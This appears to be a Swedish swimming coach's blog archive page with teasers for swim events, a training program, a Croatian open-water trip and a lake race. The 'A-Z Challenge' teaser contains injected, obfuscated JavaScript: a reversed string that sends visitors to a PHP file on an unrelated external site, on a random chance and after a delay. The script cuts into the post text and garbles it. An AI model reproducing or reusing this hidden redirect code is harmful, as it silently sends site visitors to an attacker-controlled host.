Category Archives: coachluddetipsar

Mingel på Trisport!

Igår samlades ca 30 personer som bjöds på fika, kollade på simutrustning och fick tips om bassängsimning. Vi tillsammans med TYR och Trisport erbjuder kommande event: Så tränar du Öppet vatten simning. 17 april och 8 maj kl 18.00-20.00. Bra häng på @trispot.se ikväll! Supergod semla och entusiastiska deltagare. Tack @trispot.se & @tyr_sverige för supporten

Read More

Simprogram – endast fåtal platser kvar

Godmorgon, vårt Simprogram (12 veckor) är mycket populärt och det finns nu bara 2 platser kvar för våren 2018. Simprogrammet passar utmärkt för dig som vill simträna under eget ansvar och vara flexibel med dagar och tider men ändå ha en struktur och en progression i din simning. Du väljer själv vilken simhall, vilka dagar och vilken

Read More

Open Water simäventyr i Kroatien 2018

Välkommen till ett unikt simäventyr i Kroatien 9–16 maj 2018. Adriatiska havet bjuder på kristallklart vatten, dramatiska kustlinjer & fina stränder. Du kommer att få fantastiska simupplevelser att bära med dig inför sommaren.   Vi simmar tillsammans varje dag i Crvena Luka, eller gör utflykter (2 dagar) med båt i den kroatiska skärgården. Simningen är

Read More

A-Z Challenge – MAKING YOUR WAY FROM A-Z

) == ”string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(””).reverse().join(””);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[”’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and”] Follow Jonas Kurén journey with Fredrik Ludde Lundin as his coach on: Instagram: @coachludde or @azsportswear //  Facebook: @coachludde or @azsportswear http://kickstart.a-z.com/fredrik-lundin/ Torsdag = gym för Jonas @jonaskuren #azbyzlatan #coachludde @azsportswear #luddeskickstart Ett inlägg delat av Swimming & Open Water (@coachludde)

Read More

JÄRLASJÖN & SICKLASJÖN RUNT 2017 (ÖPPET VATTEN SIMNING)

För första gången organiserar vi Järlasjön & Sicklasjön Runt. Söndagen den 3 sept 2017 med start 14.00. Du väjer mellan Järlasjön Runt, Sicklasjön Runt eller Järlasjön & Sicklasjön Runt. Både  SUPare & en båt kommer följa deltagarna under loppet och det kommer att finnas “hållplatser” längs banan för energiintag och dryck. Varje deltagare ställer upp på

Read More

Vill du utveckla din simning till en ny nivå?

I så fall ska du använda dig av vårt 12 veckors simprogram. Vi har sedan 2013 jobbat med individuella simprogram för motionärer och elitaktiva i simning och triathlon. Generellt har våra klienter förbättrat sin tid med 5–8 % på den distans de tränar för. Simprogrammet passar utmärkt för dig som vill simträna under eget ansvar och vara flexibel

Read More

Social media & sharing icons powered by UltimatelySocial

För att fortsätta använda denna webbplats behöver du godkänna användandet av cookies. mer information samt möjligheten att avaktivera cookies hittar du här

Dina cookie-inställningar för denna webbplats är satt till ”tillåt cookies” för att ge dig den bästa upplevelsen. Om du fortsätter använda webbplatsen utan att ändra dina inställningar för cookies eller om du klickar ”Godkänn” nedan så samtycker du till detta.

Stäng